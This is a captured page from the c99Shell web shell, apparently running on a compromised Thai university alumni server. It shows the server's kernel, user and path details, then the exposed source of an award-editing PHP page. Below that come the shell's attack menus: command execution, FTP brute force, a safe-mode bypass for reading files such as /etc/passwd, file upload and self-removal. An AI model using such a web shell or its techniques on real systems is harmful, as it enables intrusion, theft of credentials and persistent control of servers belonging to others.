!c99Shell v. 1.0 pre-release build #16!

Software: Apache/2.2.3 (CentOS). PHP/5.1.6 

uname -a: Linux mx-ll-110-164-51-230.static.3bb.co.th 2.6.18-194.el5PAE #1 SMP Fri Apr 2 15:37:44
EDT 2010 i686
 

uid=48(apache) gid=48(apache) groups=48(apache) 

Safe-mode: OFF (not secure)

/var/www/html/mis/ealumni/admin/   drwxr-xr-x
Free 51.01 GB of 127.8 GB (39.91%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     editalumni_4.php (7.92 KB)      -rwxr-xr-x
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php 
include_once "../link/function.php";
include_once 
"../class/clshisaword.php";        
include_once 
"../class/clstypeaword.php";        
include_once 
"../class/clslevelaword.php";
$oHa = new HisAword($oC1);    
$oHa2 = new HisAword($oC1);    
$oTa = new TypeAword($oC1);
$oLa = new LevelAword($oC1);    
?>
<script language="JavaScript1.2">    
            function checkFormat(){
                    if(document.ps.awordNameT.value=="" && document.ps.awordNameE.value==""){
                            alert("กรุณากรอกชื่อรางวัล !");
                            return false;
                    }
                    if(document.ps.awordCompany.value==""){
                            alert("กรุณากรอกหน่วยงานที่ให้รางวัล!");
                            return false;
                    }
                    if(document.ps.typeawordId.value==0){
                            alert("กรุณากรอกประเภทรางวัล!");
                            return false;
                    }
                if(document.ps.levelawordId.value==0){
                            alert("กรุณากรอกระดับการได้รับรางวัล!");
                            return false;
                    }
                if(document.ps.awordYear.value==""){
                            alert("กรุณากรอกปีที่ได้รับรางวัล !");
                            return false;
                    }
            }
</script>
<meta http-equiv="Content-Type" content="text/html; charset=TIS-620">
<table width="" border="0" align="center" cellpadding="0" cellspacing="1">
    <tr>
        <td width="740">
        <label>
    <div align="center">
    <?
          $oHa2
->SearchByKey($seqId);
          
$oHa2->GetRecord();
    
?>
          <table width="740" align="center" border="0" cellpadding="0" cellspacing="1">
                <tr>
              <td width="740" colspan="4"><br>
<table border="1" cellspacing="0" cellpadding="0" bordercolor="<?php echo $GLOBALS['COLOR_BORDER_TABLE_1'];?>" align="center">
                        <tr>
                        <td width="740" height="22" colspan="4" align="center"><table width="602" border="1" cellpadding="0" cellspacing="0" bordercolor="<?php echo $GLOBALS['COLOR_BORDER_TABLE_1'];?>">
                         <tr> 
                        <td align="left" colspan="4" height="22" bgcolor="<?php echo $GLOBALS['COLOR_BG_TD_4'];?>"><font size="2" color="<?php echo $GLOBALS['COLOR_FONT_4'];?>">ชื่อรางวัล (ภาษาไทย)</font></td>
                        <td align="left" width="445" height="22" colspan="4" bgcolor="<?php echo $GLOBALS['COLOR_BG_TD_4'];?>"><font size="2" color="<?php echo $GLOBALS['COLOR_FONT_4'];?>"> 
                          <input type="text" name="awordNameT"  value="<? echo $oHa2->awordNameT;?>"  size="70" >
                          </font></td>
                  </tr>
                  <tr> 
                    <td align="left" colspan="4"  height="22" ><font size="2" color="<?php echo $GLOBALS['COLOR_FONT_4'];?>">ชื่อรางวัล(ภาษาอังกฤษ)</font></td>
                    <td align="left" colspan="4" height="22" >  <input type="text" name="awordNameE"  value="<? echo $oHa2->awordNameE;?>"  size="70" >
                    </td>
                  </tr>
                  <tr> 
                    <td align="left" colspan="4" height="22" bgcolor="<?php echo $GLOBALS['COLOR_BG_TD_4'];?>"><font size="2" color="<?php echo $GLOBALS['COLOR_FONT_4'];?>">หน่วยงานที่ให้รางวัล</font></td>
                    <td align="left" colspan="4" height="22" bgcolor="<?php echo $GLOBALS['COLOR_BG_TD_4'];?>">  <input type="text" name="awordCompany"  value="<? echo $oHa2->awordCompany;?>"  size="70" ></td>
                  </tr>
                  <tr> 
                    <td align="left" colspan="4" height="22" ><font size="2" color="<?php echo $GLOBALS['COLOR_FONT_4'];?>">ประเภทรางวัล</font></td>
                    <td align="left" colspan="4" height="22" ><? echo $oTa->selectHTML("typeawordId",$oHa2->typeawordId);?>&nbsp;&nbsp;
                    <font size="2" color="<?php echo $GLOBALS['COLOR_FONT_4'];?>">ระดับการได้รับรางวัล</font>&nbsp;&nbsp;<? echo $oLa->selectHTML("levelawordId",$oHa2->levelawordId);?></td>
                  </tr>
                  <tr> 
                    <td align="left" colspan="4"  height="22"bgcolor="<?php echo $GLOBALS['COLOR_BG_TD_4'];?>"><font size="2" color="<?php echo $GLOBALS['COLOR_FONT_4'];?>">ปีที่ได้รับรางวัล</font></td>
                    <td align="left" colspan="4"  height="22"bgcolor="<?php echo $GLOBALS['COLOR_BG_TD_4'];?>"> <input type="text" name="awordYear"  value="<? echo $oHa2->awordYear;?>"  size="10" >
                      </td>
                  </tr>
                </table>
                <br>            <input type="submit" name="add" value="บันทึกข้อมูล" onClick="return checkFormat()">
                                    <input type="reset" name="clear" value="ลบข้อมูล">
                                    <input type="button" name="cancel" value="ยกเลิก" >
                                    <input type="hidden" name="seqId" value="<? echo $seqId?>">
                                    <input type="hidden" name="method" value="<? echo $method?>">
                                    <input type="hidden" name="alumniId" value="<?php echo $alumniId;?>">
                                <input type="hidden" name="status" value="<?php echo $status;?>">    
<br><br>
                <table width="740" border="1" cellpadding="0" cellspacing="0" bordercolor="<?php echo $GLOBALS['COLOR_BORDER_TABLE_1'];?>">
                  <tr bgcolor="<?php echo $GLOBALS['COLOR_BG_TABLE_2'];?>"> 
                    <td width="125"  height="20"  nowrap="nowrap"><div align="center"><font color="<?php echo $GLOBALS['COLOR_FONT_1'];?>" size="2" face="MS Sans Serif"><strong>ปีที่ได้รับรางวัล</strong></font></div></td>
                    <td width="246"  height="20"  nowrap="nowrap"><div align="center"><font color="<?php echo $GLOBALS['COLOR_FONT_1'];?>" size="2" face="MS Sans Serif"><strong>ชื่อรางวัล</strong></font></div></td>
                    <td width="280"  height="20"  nowrap="nowrap"><div align="center"><font color="<?php echo $GLOBALS['COLOR_FONT_1'];?>" size="2" face="MS Sans Serif"><strong>หน่วยงานที่ให้รางวัล</strong></font></div></td>
                    <td width="40"  height="20"  nowrap="nowrap"><div align="center"><font color="<?php echo $GLOBALS['COLOR_FONT_1'];?>" size="2" face="MS Sans Serif"><strong>แก้ไข</strong></font></div></td>
                    <td width="35" height="20"  nowrap="nowrap"><div align="center"><font color="<?php echo $GLOBALS['COLOR_FONT_1'];?>" size="2" face="MS Sans Serif"><strong>ลบ</strong></font></div></td>
                  </tr>
<?
                    $oHa
->RSHisAwordByAlumni($alumniId);
                    while(
$oHa->GetRecord())
                    {
                                if((
$i%2) == 0)
                                      echo 
"<tr>";
                                else
                                      echo 
"<tr bgcolor=\"".$GLOBALS["COLOR_BG_TABLE_3"]."\">";
?>
                    <td  height="20"  nowrap="nowrap"><div align="center"><font color="<?php echo $GLOBALS['COLOR_FONT_4'];?>" size="2" face="MS Sans Serif"><? echo $oHa->awordYear?></font></div></td>
                    <td   height="20"  nowrap="nowrap"><div align="left"><font color="<?php echo $GLOBALS['COLOR_FONT_4'];?>" size="2" face="MS Sans Serif"><? if($oHa->awordNameE == "") { echo $oHa->awordNameT; } else { echo $oHa->awordNameE; }?></font></div></td>
                    <td  height="20"  nowrap="nowrap"><div align="left"><font color="<?php echo $GLOBALS['COLOR_FONT_4'];?>" size="2" face="MS Sans Serif"><? echo $oHa->awordCompany?></font></div></td>
                    <td  height="20"  nowrap="nowrap"><div align="center"><a href="mainalumni.php?alumniId=<?php echo $alumniId;?>&status=<? echo $status;?>&seqId=<? echo $oHa->seqId;?>&method=<? echo "edited";?> "><img src="../picture/editnew.gif" width="23" height="19" align="absmiddle" border="0"></a></div></td>
                    <td  height="20"  nowrap="nowrap"><div align="center"><a href="processalumni.php?alumniId=<? echo $alumniId;?>&status=<? echo $status;?>&seqId=<? echo $oHa->seqId;?>&method=<? echo "delete";?>"><img src="../picture/deletenew.gif" width="16" height="19" align="absmiddle" border="0"></a></div></td>
                  </tr>
<?php
                            $i
++;
                    }
                    if((
$i) == 0){
?>
                  <tr> 
                    <td colspan="6" height="22" align="center"><font size="2" color="<?php echo $GLOBALS['COLOR_FONT_3'];?>">** 
                      ไม่ปรากฏรายการในฐานข้อมูล **</font></td>
                  </tr>
<?php
                    
}
?>
                </table>
                          </td>
                </tr>
                </table></td>
            </tr>
        </table>
                          
      </div>        
          <br><br><br><br>
        </td>
  </tr>
</table>

:: Command execute ::

Enter:
 
Select:
 

:: Shadow's tricks :D ::

Useful Commands
 
Warning. Kernel may be alerted using higher levels
Kernel Info:

:: Preddy's tricks :D ::

Php Safe-Mode Bypass (Read Files)

File:

eg: /etc/passwd

Php Safe-Mode Bypass (List Directories):

Dir:

eg: /etc/

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c999shell v. 1.0 pre-release build #16 Modded by Shadow & Preddy | RootShell Security Group | r57 c99 shell | Generation time: 0.0275 ]--